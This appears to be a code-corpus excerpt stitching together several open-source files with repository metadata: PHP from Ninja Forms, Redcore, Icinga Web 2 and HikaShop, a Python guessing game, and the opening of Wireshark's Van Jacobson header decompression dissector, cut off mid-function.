$sub_id = $args['sub_id'];
unset( $args['sub_id'] );
if ( !is_serialized( $args['data'] ) ) {
$args['data'] = serialize( $args['data'] );
}
$update_array = $args;
$date_updated = $date_updated = date( 'Y-m-d H:i:s', strtotime ( 'now' ) );
$update_array['date_updated'] = $date_updated;
$wpdb->update(NINJA_FORMS_SUBS_TABLE_NAME, $update_array, array('id' => $sub_id));
}
// The ninja_forms_delete_sub( $sub_id ) function is in includes/admin/ajax.php
function ninja_forms_addslashes_deep( $value ){
$value = is_array($value) ?
array_map('ninja_forms_addslashes_deep', $value) :
addslashes($value);
return $value;
}
function utf8_encode_recursive( $input ){
if ( is_array( $input ) ) {
return array_map( __FUNCTION__, $input );
}else{
return utf8_encode( $input );
}
}
function ninja_forms_str_replace_deep($search, $replace, $subject){
if( is_array( $subject ) ){
foreach( $subject as &$oneSubject )
$oneSubject = ninja_forms_str_replace_deep($search, $replace, $oneSubject);
unset($oneSubject);
return $subject;
} else {
return str_replace($search, $replace, $subject);
}
}
function ninja_forms_html_entity_decode_deep( $value, $flag = ENT_COMPAT ){
$value = is_array($value) ?
array_map('ninja_forms_html_entity_decode_deep', $value) :
html_entity_decode( $value, $flag );
return $value;
}
function ninja_forms_htmlspecialchars_deep( $value ){
$value = is_array($value) ?
array_map('ninja_forms_htmlspecialchars_deep', $value) :
htmlspecialchars( $value );
return $value;
}
function ninja_forms_stripslashes_deep( $value ){
$value = is_array($value) ?
array_map('ninja_forms_stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
function ninja_forms_esc_html_deep( $value ){
$value = is_array($value) ?
array_map('ninja_forms_esc_html_deep', $value) :
esc_html($value);
return $value;
}
function ninja_forms_strip_tags_deep($value ){
$value = is_array($value) ?
array_map('ninja_forms_strip_tags_deep', $value) :
strip_tags($value);
return $value;
}
function ninja_forms_json_response(){
global $ninja_forms_processing;
$form_id = $ninja_forms_processing->get_form_ID();
$errors = $ninja_forms_processing->get_all_errors();
$success = $ninja_forms_processing->get_all_success_msgs();
$fields = $ninja_forms_processing->get_all_fields();
$form_settings = $ninja_forms_processing->get_all_form_settings();
$extras = $ninja_forms_processing->get_all_extras();
if( version_compare( phpversion(), '5.3', '>=' ) ){
$json = json_encode( array( 'form_id' => $form_id, 'errors' => $errors, 'success' => $success, 'fields' => $fields, 'form_settings' => $form_settings, 'extras' => $extras ), JSON_HEX_QUOT | JSON_HEX_TAG );
}else{
$errors = ninja_forms_html_entity_decode_deep( $errors );
$success = ninja_forms_html_entity_decode_deep( $success );
$fields = ninja_forms_html_entity_decode_deep( $fields );
$form_settings = ninja_forms_html_entity_decode_deep( $form_settings );
$extras = ninja_forms_html_entity_decode_deep( $extras );
$errors = utf8_encode_recursive( $errors );
$success = utf8_encode_recursive( $success );
$fields = utf8_encode_recursive( $fields );
$form_settings = utf8_encode_recursive( $form_settings );
$extras = utf8_encode_recursive( $extras );
$errors = ninja_forms_str_replace_deep( '"', "\u0022", $errors );
$errors = ninja_forms_str_replace_deep( "'", "\u0027", $errors );
$errors = ninja_forms_str_replace_deep( '<', "\u003C", $errors );
$errors = ninja_forms_str_replace_deep( '>', "\u003E", $errors );
$success = ninja_forms_str_replace_deep( '"', "\u0022", $success );
$success = ninja_forms_str_replace_deep( "'", "\u0027", $success );
$success = ninja_forms_str_replace_deep( '<', "\u003C", $success );
$success = ninja_forms_str_replace_deep( '>', "\u003E", $success );
$fields = ninja_forms_str_replace_deep( '"', "\u0022", $fields );
$fields = ninja_forms_str_replace_deep( "'", "\u0027", $fields );
$fields = ninja_forms_str_replace_deep( '<', "\u003C", $fields );
$fields = ninja_forms_str_replace_deep( '>', "\u003E", $fields );
$form_settings = ninja_forms_str_replace_deep( '"', "\u0022", $form_settings );
$form_settings = ninja_forms_str_replace_deep( "'", "\u0027", $form_settings );
$form_settings = ninja_forms_str_replace_deep( '<', "\u003C", $form_settings );
$form_settings = ninja_forms_str_replace_deep( '>', "\u003E", $form_settings );
$extras = ninja_forms_str_replace_deep( '"', "\u0022", $extras );
$extras = ninja_forms_str_replace_deep( "'", "\u0027", $extras );
$extras = ninja_forms_str_replace_deep( '<', "\u003C", $extras );
$extras = ninja_forms_str_replace_deep( '>', "\u003E", $extras );
$json = json_encode( array( 'form_id' => $form_id, 'errors' => $errors, 'success' => $success, 'fields' => $fields, 'form_settings' => $form_settings, 'extras' => $extras ) );
$json = str_replace( "\\\u0022", "\\u0022", $json );
$json = str_replace( "\\\u0027", "\\u0027", $json );
$json = str_replace( "\\\u003C", "\\u003C", $json );
$json = str_replace( "\\\u003E", "\\u003E", $json );
}
return $json;
}
/*
*
* Function that sets up our transient variable.
*
* @since 2.2.45
* @return void
*/
function ninja_forms_set_transient(){
global $ninja_forms_processing;
$form_id = $ninja_forms_processing->get_form_ID();
// Setup our transient variable.
$transient = array();
$transient['form_id'] = $form_id;
$transient['field_values'] = $ninja_forms_processing->get_all_fields();
$transient['form_settings'] = $ninja_forms_processing->get_all_form_settings();
$all_fields_settings = array();
if ( $ninja_forms_processing->get_all_fields() ) {
foreach ( $ninja_forms_processing->get_all_fields() as $field_id => $user_value ) {
$field_settings = $ninja_forms_processing->get_field_settings( $field_id );
$all_fields_settings[$field_id] = $field_settings;
}
}
$transient['field_settings'] = $all_fields_settings;
// Set errors and success messages as $_SESSION variables.
$success = $ninja_forms_processing->get_all_success_msgs();
$errors = $ninja_forms_processing->get_all_errors();
$transient['success_msgs'] = $success;
$transient['error_msgs'] = $errors;
$transient_id = $_SESSION['ninja_forms_transient_id'];
//delete_transient( 'ninja_forms_test' );
set_transient( $transient_id, $transient, DAY_IN_SECONDS );
}
/*
*
* Function that deletes our transient variable
*
* @since 2.2.45
* @return void
*/
function ninja_forms_delete_transient(){
delete_transient( $_SESSION['ninja_forms_transient_id'] );
}
|
prosenjit-itobuz/nutraperfect
|
wp-content/plugins/ninja-forms/includes/database.php
|
PHP
|
gpl-2.0
| 21,587 |
<?php
/**
* @package Redcore
* @subpackage Document
*
* @copyright Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('JPATH_BASE') or die;
/**
* ApiDocumentSoap class, provides an easy interface to parse and display XML output
*
* @package Redcore
* @subpackage Document
* @since 1.4
*/
class RApiSoapDocumentDocument extends JDocument
{
/**
* Document name
*
* @var string
* @since 1.4
*/
protected $name = 'joomla';
/**
* Render all hrefs as absolute, relative is default
*/
protected $absoluteHrefs = false;
/**
* Document format (xml or json)
*/
protected $documentFormat = false;
/**
* @var string Content
* @since 1.4
*/
public $outputContent = null;
/**
* @var RApiSoapSoap Soap object
* @since 1.4
*/
public $soap = null;
/**
* Class constructor
*
* @param array $options Associative array of options
* @param string $mimeType Document type
*
* @since 1.4
*/
public function __construct($options = array(), $mimeType = 'soap+xml')
{
parent::__construct($options);
$this->documentFormat = $options['documentFormat'];
if (!in_array($this->documentFormat, array('xml', 'json')))
{
$this->documentFormat = 'xml';
}
// Set default mime type.
$this->_mime = 'application/' . $mimeType;
// Set document type.
$this->_type = 'xml';
// Set absolute/relative hrefs.
$this->absoluteHrefs = isset($options['absoluteHrefs']) ? $options['absoluteHrefs'] : true;
// Set token if needed
$this->uriParams = isset($options['uriParams']) ? $options['uriParams'] : array();
}
/**
* Render the document.
*
* @param boolean $cache If true, cache the output
* @param array $params Associative array of attributes
*
* @return string The rendered data
*
* @since 1.4
*/
public function render($cache = false, $params = array())
{
$runtime = microtime(true) - $this->soap->startTime;
JFactory::getApplication()->setHeader('Status', $this->soap->statusCode . ' ' . $this->soap->statusText, true);
JFactory::getApplication()->setHeader('Server', '', true);
JFactory::getApplication()->setHeader('X-Runtime', $runtime, true);
JFactory::getApplication()->setHeader('Access-Control-Allow-Origin', '*', true);
JFactory::getApplication()->setHeader('Pragma', 'public', true);
JFactory::getApplication()->setHeader('Expires', '0', true);
JFactory::getApplication()->setHeader('Cache-Control', 'must-revalidate, post-check=0, pre-check=0', true);
JFactory::getApplication()->setHeader('Cache-Control', 'private', false);
JFactory::getApplication()->setHeader('Content-type', $this->_mime . '; charset=UTF-8', true);
JFactory::getApplication()->sendHeaders();
// Get the Soap string from the buffer.
$content = $this->getBuffer();
echo (string) $content;
}
/**
* Returns the document name
*
* @return string
*
* @since 1.4
*/
public function getName()
{
return $this->name;
}
/**
* Sets Soap object to the document
*
* @param RApiSoapSoap $soap Soap object
*
* @return RApiSoapDocumentDocument
*
* @since 1.4
*/
public function setApiObject($soap)
{
$this->soap = $soap;
return $this;
}
/**
* Sets the document name
*
* @param string $name Document name
*
* @return RApiSoapDocumentDocument instance of $this to allow chaining
*
* @since 1.4
*/
public function setName($name = 'joomla')
{
$this->name = $name;
return $this;
}
}
|
necrophcodr/redCORE
|
libraries/redcore/api/soap/document/document.php
|
PHP
|
gpl-2.0
| 3,624 |
<?php
/* Icinga Web 2 | (c) 2013-2015 Icinga Development Team | GPLv2+ */
namespace Icinga\Module\Monitoring\DataView;
class Contactgroup extends DataView
{
/**
* {@inheritdoc}
*/
public function isValidFilterTarget($column)
{
if ($column[0] === '_' && preg_match('/^_(?:host|service)_/', $column)) {
return true;
}
return parent::isValidFilterTarget($column);
}
/**
* {@inheritdoc}
*/
public function getColumns()
{
return array(
'contactgroup_name',
'contactgroup_alias',
'contact_object_id',
'contact_id',
'contact_name',
'contact_alias',
'contact_email',
'contact_pager',
'contact_has_host_notfications',
'contact_has_service_notfications',
'contact_can_submit_commands',
'contact_notify_service_recovery',
'contact_notify_service_warning',
'contact_notify_service_critical',
'contact_notify_service_unknown',
'contact_notify_service_flapping',
'contact_notify_service_downtime',
'contact_notify_host_recovery',
'contact_notify_host_down',
'contact_notify_host_unreachable',
'contact_notify_host_flapping',
'contact_notify_host_downtime',
'contact_notify_host_timeperiod',
'contact_notify_service_timeperiod'
);
}
/**
* {@inheritdoc}
*/
public function getSortRules()
{
return array(
'contactgroup_name' => array(
'order' => self::SORT_ASC
),
'contactgroup_alias' => array(
'order' => self::SORT_ASC
)
);
}
/**
* {@inheritdoc}
*/
public function getFilterColumns()
{
return array(
'contactgroup', 'contact',
'host', 'host_name', 'host_display_name', 'host_alias',
'hostgroup', 'hostgroup_alias', 'hostgroup_name',
'service', 'service_description', 'service_display_name',
'servicegroup', 'servicegroup_alias', 'servicegroup_name'
);
}
/**
* {@inheritdoc}
*/
public function getSearchColumns()
{
return array('contactgroup', 'contactgroup_alias', 'contact', 'contact_alias', 'contact_email');
}
}
|
scibi/icingaweb2
|
modules/monitoring/library/Monitoring/DataView/Contactgroup.php
|
PHP
|
gpl-2.0
| 2,457 |
<?php
/**
* @package HikaShop for Joomla!
* @version 2.1.2
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class CartController extends hikashopController{
var $modify_views = array();
var $add = array();
var $modify = array();
var $delete = array();
function __construct($config = array(),$skip=false){
parent::__construct($config,$skip);
if(!$skip){
$this->registerDefaultTask('display');
}
$this->display[]='display';
$this->display[]='convert';
$this->display[]='newcart';
$this->display[]='showcarts';
$this->display[]='showcart';
$this->display[]='setcurrent';
$this->display[]='delete';
$this->display[]='savecart';
$this->display[]='addtocart';
}
function display($cachable = false, $urlparams = array()){
$cart_type = JRequest::getString('cart_type','cart');
$empty='';
jimport('joomla.html.parameter');
$params = new HikaParameter($empty);
$js = '';
$params->set('cart_type',$cart_type);
$html = trim(hikashop_getLayout('product','cart',$params,$js));
if(!empty($html)){
JRequest::setVar('savecart','1');
echo '<div class="hikashop_cart_display" id="hikashop_cart_display">'.$html.'</div>';
}
}
function convert(){
$app = JFactory::getApplication();
$cart_type = JRequest::getString('cart_type','cart');
$cart_id = JRequest::getInt('cart_id','0');
$app->setUserState(HIKASHOP_COMPONENT.'.'.$cart_type.'_id', 0);
$cartClass = hikashop_get('class.cart');
$cartClass->convert($cart_id, $cart_type);
$empty='';
jimport('joomla.html.parameter');
$params = new HikaParameter($empty);
$js = '';
if($cart_type != 'wishlist'){
$params->set('cart_type','wishlist');
JRequest::setVar('cart_type','wishlist');
}
$params->set('cart_id',$cart_id);
JRequest::setVar('cart_id',$cart_id);
$html = trim(hikashop_getLayout('cart','showcart',$params,$js));
echo $html;
}
function newcart(){
$app = JFactory::getApplication();
$cartClass = hikashop_get('class.cart');
$cart_type = JRequest::getString('cart_type','cart');
$result = $cartClass->setCurrent('0',$cart_type);
if($result){
$session = JFactory::getSession();
$curUser = hikashop_loadUser(true);
$newCart = new stdClass();
if($curUser == null)
$newCart->user_id = 0;
else
$newCart->user_id = $curUser->user_cms_id;
$newCart->session_id = $session->getId();
$newCart->cart_modified = time();
$newCart->cart_type = $cart_type;
$newCart->cart_current = 1;
$newCart->cart_share = 'nobody';
$cartClass->save($newCart);
$app->setUserState(HIKASHOP_COMPONENT.'.'.$cart_type.'_id', '0');
$app->setUserState(HIKASHOP_COMPONENT.'.'.$cart_type.'_new', '1');
if($cart_type == 'cart')
$app->enqueueMessage(JText::sprintf( 'HIKASHOP_CART_CREATED'), 'notice');
else
$app->enqueueMessage(JText::sprintf( 'HIKASHOP_WISHLIST_CREATED'), 'notice');
}
$this->showcarts();
}
function showcarts(){
$empty='';
jimport('joomla.html.parameter');
$params = new HikaParameter($empty);
$js = '';
$html = trim(hikashop_getLayout('cart','showcarts',$params,$js));
echo $html;
}
function showcart(){
$cart_type = JRequest::getString('cart_type','cart');
$cart_id = JRequest::getInt('cart_id','');
$empty='';
jimport('joomla.html.parameter');
$params = new HikaParameter($empty);
$js = '';
$params->set('cart_type',$cart_type);
$params->set('cart_id',$cart_id);
$html = trim(hikashop_getLayout('cart','showcart',$params,$js));
echo $html;
}
function addtocart(){
global $Itemid;
$app = JFactory::getApplication();
$from_id = JRequest::getInt('cart_id',0);
$cart_type = JRequest::getString('cart_type','cart');
$action = JRequest::getString('action','');
if($action != 'compare'){
$cart_type_id = $cart_type.'_id';
if($cart_type == 'cart') $addTo = 'wishlist';
else $addTo = 'cart';
JRequest::setVar('from_id',$from_id);
$cart_type_id = $addTo.'_id';
$cart_id = $app->getUserState(HIKASHOP_COMPONENT.'.'.$cart_type_id,'0');
$app->setUserState(HIKASHOP_COMPONENT.'.'.$cart_type.'_new', '0');
if(empty($cart_id))$cart_id=0;
JRequest::setVar('cart_type', $addTo);
JRequest::setVar($cart_type_id, $cart_id);
$cartClass = hikashop_get('class.cart');
$formData = JRequest::getVar('data', array(), '', 'array');
$i = 0;
if(isset($formData['products'])){
foreach($formData['products'] as $product_id => $product){
if(!empty($product['checked'])) {
$i++;
if(!isset($product['quantity'])) $product['quantity'] = 1;
$cartClass->update((int)$product_id, (int)$product['quantity'],1);
}
}
}
if($i == 0){
$app->enqueueMessage(JText::_('PLEASE_SELECT_A_PRODUCT_FIRST'));
}
if($action != '')
$url = $action;
else{
$url = 'cart&task=showcart&cart_type='.$cart_type.'&cart_id='.$from_id.'&Itemid='.$Itemid;
$url = hikashop_completeLink($url,false,true);
}
}
else{
$formData = JRequest::getVar('data', array(), '', 'array');
if(isset($formData['products'])){
$cidList = '';
foreach($formData['products'] as $product_id => $product){
if(!empty($product['checked'])) {
$cidList .= "&cid[]=".$product_id;
}
}
$url = hikashop_completeLink('product&task=compare'.$cidList.'&Itemid='.$Itemid,false,true);
}else{
$url = 'cart&task=showcart&cart_type='.$cart_type.'&cart_id='.$from_id.'&Itemid='.$Itemid;
$url = hikashop_completeLink($url,false,true);
}
}
$this->setRedirect($url);
}
function savecart(){
$app = JFactory::getApplication();
$cartClass = hikashop_get('class.cart');
$user = JFactory::getUser();
$session = JFactory::getSession();
$formData = JRequest::getVar('data', array(), '', 'array');
$cart_id = JRequest::getInt('cart_id','0');
$cart_type = JRequest::getString('cart_type','cart');
$cart_name = JRequest::getString('cart_name','');
$cart_share = JRequest::getString('cart_share','nobody');
if($cart_share == 'email'){
$cart_share = JRequest::getString('hikashop_wishlist_token','nobody');
}
$cart= new stdClass();
$cart->cart_id = $cart_id;
$cart->user_id = $user->id;
$cart->cart_modified = time();
$cart->session_id = $session->getId();
$cart->cart_type = $cart_type;
$cart->cart_name = $cart_name;
$cart->cart_share = $cart_share;
$status = $cartClass->save($cart);
if($status && !empty($formData['products'])){
JRequest::setVar($cart_type.'_id',$cart_id);
JRequest::setVar('cart_type',$cart_type);
foreach($formData['products'] as $product_id => $product){
$cartClass->update((int)$product_id, (int)$product['quantity']);
}
}
$this->showcart();
}
function setcurrent(){
$app = JFactory::getApplication();
$db = JFactory::getDBO();
$cart_id = JRequest::getInt('cart_id',0,'GET');
$cart_type = JRequest::getString('cart_type','cart','GET');
$cartClass = hikashop_get('class.cart');
$result = $cartClass->setCurrent($cart_id, $cart_type);
if($result)$app->setUserState(HIKASHOP_COMPONENT.'.'.$cart_type.'_id', $cart_id);
$empty='';
jimport('joomla.html.parameter');
$params = new HikaParameter($empty);
$js = '';
$params->set('cart_type',$cart_type);
$html = trim(hikashop_getLayout('cart','showcarts',$params,$js));
echo $html;
}
function delete(){ //delete a cart with the id given
$cart_id = JRequest::getInt('cart_id','0');
$cart_type = JRequest::getString('cart_type','cart');
$app = JFactory::getApplication();
if($app->getUserState(HIKASHOP_COMPONENT.'.'.$cart_type.'_id') == $cart_id){
$app->setUserState(HIKASHOP_COMPONENT.'.'.$cart_type.'_id', '0');
}
$cartClass = hikashop_get('class.cart');
$cartClass->delete($cart_id, 'old');
$this->showcarts();
}
}
?>
|
Jasonudoo/platform
|
tmp/hikashop/front/controllers/cart.php
|
PHP
|
gpl-2.0
| 8,133 |
high = 100
low = 0
guess = (high + low) / 2
instruct = "Enter 'h' to indicate the guess is too high. Enter 'l' to indicate the guess is too low. Enter 'c' to indicate I guessed correctly. "
sorry = "Sorry, I did not understand your input."
hlc = "a"
print ("Please think of a number between 0 and 100!")
while hlc != "c":
print ("Is your secret number " + str(guess) + "?")
hlc = raw_input(instruct)
if hlc == "l":
low = guess
guess = (guess + high) / 2
elif hlc == "h":
high = guess
guess = (guess + low) / 2
else:
if hlc == "c":
break
else:
print sorry
print ("Game over. Your secret number was: " + str(guess))
|
yourfriendaaron/python-class-problems
|
L3 PROBLEM 9.py
|
Python
|
gpl-2.0
| 713 |
/* packet-vj.c
* Routines for Van Jacobson header decompression. (See RFC 1144.)
*
* $Id$
*
* Wireshark - Network traffic analyzer
* By Gerald Combs <[email protected]>
*
* This file created by Irfan Khan <[email protected]>
* Copyright (c) 2001 by QUALCOMM, Incorporated.
* All Rights reserved.
*
* Routines to compress and uncompress TCP packets (for transmission
* over low speed serial lines).
*
* Copyright (c) 1989 Regents of the University of California.
* All rights reserved.
*
* Redistribution and use in source and binary forms are permitted
* provided that the above copyright notice and this paragraph are
* duplicated in all such forms and that any documentation,
* advertising materials, and other materials related to such
* distribution and use acknowledge that the software was developed
* by the University of California, Berkeley. The name of the
* University may not be used to endorse or promote products derived
* from this software without specific prior written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
* Van Jacobson ([email protected]), Dec 31, 1989:
* - Initial distribution.
*
*
* modified for KA9Q Internet Software Package by
* Katie Stevens ([email protected])
* University of California, Davis
* Computing Services
* - 01-31-90 initial adaptation (from 1.19)
* PPP.05 02-15-90 [ks]
* PPP.08 05-02-90 [ks] use PPP protocol field to signal compression
* PPP.15 09-90 [ks] improve mbuf handling
* PPP.16 11-02 [karn] substantially rewritten to use NOS facilities
*
* - Feb 1991 [email protected]
* variable number of conversation slots
* allow zero or one slots
* separate routines
* status display
* - Jul 1994 Dmitry Gorodchanin
* Fixes for memory leaks.
* - Oct 1994 Dmitry Gorodchanin
* Modularization.
* - Jan 1995 Bjorn Ekwall
* Use ip_fast_csum from ip.h
* - July 1995 Christos A. Polyzols
* Spotted bug in tcp option checking
* - Sep 2001 Irfan Khan
* Rewrite to make the code work for wireshark.
*/
#include "config.h"
#include <glib.h>
#include <string.h>
#include <epan/packet.h>
#include <epan/prefs.h>
#include "packet-ppp.h"
#include <epan/ppptypes.h>
#include <epan/ipproto.h>
#include <epan/in_cksum.h>
#include <epan/emem.h>
/* Define relevant IP/TCP parameters */
#define IP_FIELD_TOT_LEN 2 /* Total length field in IP hdr */
#define IP_FIELD_PROTOCOL 9 /* Protocol field byte in IP hdr */
#define IP_ADDR_SIZE 4 /* Size in bytes of IPv4 address */
#define IP_FIELD_SRC 12 /* Byte 12 in IP hdr - src address */
#define IP_FIELD_DST 16 /* Byte 16 in IP hdr - dst address */
#define IP_HDR_LEN 20 /* Minimum IP header length */
#define IP_HDR_LEN_MASK 0x0f /* Mask for header length field */
#define IP_MAX_OPT_LEN 44 /* Max length of IP options */
#define TCP_FIELD_HDR_LEN 12 /* Data offset field in TCP hdr */
#define TCP_HDR_LEN 20 /* Minimum TCP header length */
#define TCP_MAX_OPT_LEN 44 /* Max length of TCP options */
#define TCP_SIMUL_CONV_MAX 256 /* Max number of simul. TCP conversations */
#define TCP_PUSH_BIT 0x08 /* TCP push bit */
#define TCP_URG_BIT 0x20 /* TCP urgent bit */
/* Bits in first octet of compressed packet */
/* flag bits for what changed in a packet */
#define NEW_C 0x40 /* Connection number changed */
#define NEW_I 0x20 /* IP sequence number change by value != 1 */
#define CHANGE_PUSH_BIT 0x10 /* TCP push bit set */
#define NEW_S 0x08 /* Sequence number changed */
#define NEW_A 0x04 /* Ack sequence number changed */
#define NEW_W 0x02 /* Window changed */
#define NEW_U 0x01 /* Urgent pointer present */
/* reserved, special-case values of above */
#define SPECIAL_I (NEW_S|NEW_W|NEW_U) /* echoed interactive traffic */
#define SPECIAL_D (NEW_S|NEW_A|NEW_W|NEW_U)/* unidirectional data */
#define SPECIALS_MASK (NEW_S|NEW_A|NEW_W|NEW_U)
/* Function return values */
#define VJ_OK 0
#define VJ_ERROR -1
/* VJ Mem Chunk defines */
#define VJ_DATA_SIZE 128 /* Max IP hdr(64)+Max TCP hdr(64) */
/* IP and TCP header types */
typedef struct {
guint8 ihl_version;
guint8 tos;
guint16 tot_len;
guint16 id;
guint16 frag_off;
guint8 ttl;
guint8 proto;
guint16 cksum;
guint32 src;
guint32 dst;
} iphdr_type;
typedef struct {
guint16 srcport;
guint16 dstport;
guint32 seq;
guint32 ack_seq;
guint8 off_x2;
guint8 flags;
guint16 window;
guint16 cksum;
guint16 urg_ptr;
} tcphdr_type;
#define TCP_OFFSET(th) (((th)->off_x2 & 0xf0) >> 4)
/* State per active tcp conversation */
typedef struct cstate {
iphdr_type cs_ip;
tcphdr_type cs_tcp;
guint8 cs_ipopt[IP_MAX_OPT_LEN];
guint8 cs_tcpopt[TCP_MAX_OPT_LEN];
guint32 flags;
#define SLF_TOSS 0x00000001 /* tossing rcvd frames until id received */
} cstate;
/* All the state data for one serial line */
typedef struct {
cstate rstate[TCP_SIMUL_CONV_MAX]; /* receive connection states (array) */
guint8 recv_current; /* most recent rcvd id */
} slcompress;
/* Initialize the protocol and registered fields */
static int proto_vj = -1;
static int hf_vj_change_mask = -1;
static int hf_vj_change_mask_c = -1;
static int hf_vj_change_mask_i = -1;
static int hf_vj_change_mask_p = -1;
static int hf_vj_change_mask_s = -1;
static int hf_vj_change_mask_a = -1;
static int hf_vj_change_mask_w = -1;
static int hf_vj_change_mask_u = -1;
static int hf_vj_connection_number = -1;
static int hf_vj_tcp_cksum = -1;
static int hf_vj_urp = -1;
static int hf_vj_win_delta = -1;
static int hf_vj_ack_delta = -1;
static int hf_vj_seq_delta = -1;
static int hf_vj_ip_id_delta = -1;
static gint ett_vj = -1;
static gint ett_vj_changes = -1;
/* Protocol handles */
static dissector_handle_t ip_handle;
static dissector_handle_t data_handle;
/* State repository (Full Duplex) */
#define RX_TX_STATE_COUNT 2
static slcompress *rx_tx_state[RX_TX_STATE_COUNT] = {NULL, NULL};
/* Mem Chunks for storing decompressed headers */
typedef struct {
int offset; /* uppermost bit is "can't dissect" flag */
guint8 data[VJ_DATA_SIZE];
} vj_header_t;
/* Function prototypes */
static int get_unsigned_delta(tvbuff_t *tvb, int *offsetp, int hf,
proto_tree *tree);
static int get_signed_delta(tvbuff_t *tvb, int *offsetp, int hf,
proto_tree *tree);
static guint16 ip_csum(const guint8 *ptr, guint32 len);
static slcompress *slhc_init(void);
static gint vjc_process(tvbuff_t *src_tvb, packet_info *pinfo, proto_tree *tree,
slcompress *comp);
static gint vjc_tvb_setup(tvbuff_t *src_tvb, tvbuff_t **dst_tvb,
packet_info *pinfo);
/* Dissector for VJ Uncompressed packets */
static void
dissect_vjuc(tvbuff_t *tvb, packet_info *pinfo, proto_tree * tree)
{
proto_item *ti;
proto_tree *vj_tree = NULL;
slcompress *comp;
int i;
gint conn_index;
cstate *cs = NULL;
guint8 ihl;
guint8 thl;
guint8 *buffer;
tvbuff_t *next_tvb;
gint isize = tvb_length(tvb);
gint ipsize;
col_set_str(pinfo->cinfo, COL_PROTOCOL, "PPP VJ");
if(tree != NULL) {
ti = proto_tree_add_protocol_format(tree, proto_vj, tvb, 0, -1,
"PPP VJ Compression: Uncompressed data");
vj_tree = proto_item_add_subtree(ti, ett_vj);
}
if(pinfo->p2p_dir == P2P_DIR_UNKNOWN) {
/* Direction of the traffic unknown - can't update state */
comp = NULL;
} else {
/* Get state for that direction */
comp = rx_tx_state[pinfo->p2p_dir];
}
/*
* Check to make sure we can fetch the connection index.
*/
if(!tvb_bytes_exist(tvb, IP_FIELD_PROTOCOL, 1)) {
/*
* We don't. We can't even mark a connection as non-decompressable,
* as we don't know which connection this is. Mark them all as
* non-decompressable.
*/
col_set_str(pinfo->cinfo, COL_INFO, "VJ uncompressed TCP (not enough data available)");
if(tree != NULL)
call_dissector(data_handle, tvb, pinfo, tree);
if(comp != NULL) {
for(i = 0; i < TCP_SIMUL_CONV_MAX; i++)
comp->rstate[i].flags |= SLF_TOSS;
}
return;
}
/* Get connection index */
conn_index = tvb_get_guint8(tvb, IP_FIELD_PROTOCOL);
if(tree != NULL)
proto_tree_add_uint(vj_tree, hf_vj_connection_number, tvb,
IP_FIELD_PROTOCOL, 1, conn_index);
/*
* Update the current connection, and get a pointer to its state.
*/
if(comp != NULL) {
comp->recv_current = conn_index;
cs = &comp->rstate[conn_index];
}
/* Get the IP header length */
ihl = tvb_get_guint8(tvb, 0) & IP_HDR_LEN_MASK;
ihl <<= 2;
/* Check IP header length */
if(ihl < IP_HDR_LEN) {
if(check_col(pinfo->cinfo, COL_INFO)) {
col_add_fstr(pinfo->cinfo, COL_INFO, "VJ uncompressed TCP (IP header length (%u) < %u)",
ihl, IP_HDR_LEN);
}
if(cs != NULL)
cs->flags |= SLF_TOSS;
return;
}
/* Make sure we have the full IP header */
if(isize < ihl) {
col_set_str(pinfo->cinfo, COL_INFO, "VJ uncompressed TCP (not enough data available)");
if(tree != NULL)
call_dissector(data_handle, tvb, pinfo, tree);
if(cs != NULL)
cs->flags |= SLF_TOSS;
return;
}
col_set_str(pinfo->cinfo, COL_INFO, "VJ uncompressed TCP");
/*
* Copy packet data to a buffer, and replace the connection index with
* the protocol type (which is always TCP), to give the actual IP header.
*/
buffer = (guint8 *)tvb_memdup(tvb, 0, isize);
buffer[IP_FIELD_PROTOCOL] = IP_PROTO_TCP;
/* Check IP checksum */
if(ip_csum(buffer, ihl) != 0) {
/*
* Checksum invalid - don't update state, and don't decompress
* any subsequent compressed packets in this direction.
*/
if(cs != NULL)
cs->flags |= SLF_TOSS;
cs = NULL; /* disable state updates */
} else {
/* Do we have the TCP header length in the tvbuff? */
if(!tvb_bytes_exist(tvb, ihl + TCP_FIELD_HDR_LEN, 1)) {
/* We don't, so we can't provide enough data for decompression */
col_set_str(pinfo->cinfo, COL_INFO, "VJ uncompressed TCP (not enough data available)");
if(cs != NULL)
cs->flags |= SLF_TOSS;
cs = NULL; /* disable state updates */
} else {
/* Get the TCP header length */
thl = tvb_get_guint8(tvb, ihl + TCP_FIELD_HDR_LEN);
thl = ((thl & 0xf0) >> 4) * 4;
/* Check TCP header length */
if(thl < TCP_HDR_LEN) {
if(check_col(pinfo->cinfo, COL_INFO)) {
col_add_fstr(pinfo->cinfo, COL_INFO, "VJ uncompressed TCP (TCP header length (%u) < %u)",
thl, TCP_HDR_LEN);
}
if(cs != NULL)
cs->flags |= SLF_TOSS;
cs = NULL; /* disable state updates */
} else {
/* Make sure we have the full TCP header */
if(isize < thl) {
col_set_str(pinfo->cinfo, COL_INFO, "VJ uncompressed TCP (not enough data available)");
if(cs != NULL)
cs->flags |= SLF_TOSS;
cs = NULL; /* disable state updates */
}
}
}
}
/*
* If packet seen for first time, update state if we have state and can
* update it.
*/
if(!pinfo->fd->flags.visited) {
if(cs != NULL) {
cs->flags &= ~SLF_TOSS;
memcpy(&cs->cs_ip, &buffer[0], IP_HDR_LEN);
memcpy(&cs->cs_tcp, &buffer[ihl], TCP_HDR_LEN);
if(ihl > IP_HDR_LEN)
memcpy(cs->cs_ipopt, &buffer[sizeof(iphdr_type)], ihl - IP_HDR_LEN);
if(TCP_OFFSET(&(cs->cs_tcp)) > 5)
memcpy(cs->cs_tcpopt, &buffer[ihl + sizeof(tcphdr_type)],
(TCP_OFFSET(&(cs->cs_tcp)) - 5) * 4);
}
}
/*
* Set up tvbuff containing packet with protocol type.
* Neither header checksum is recalculated.
*
* Use the length field from the IP header as the reported length;
* use the minimum of that and the number of bytes we got from
* the tvbuff as the actual length, just in case the tvbuff we were
* handed includes part or all of the FCS (because the FCS preference
* for the PPP dissector doesn't match the FCS size in this session).
*/
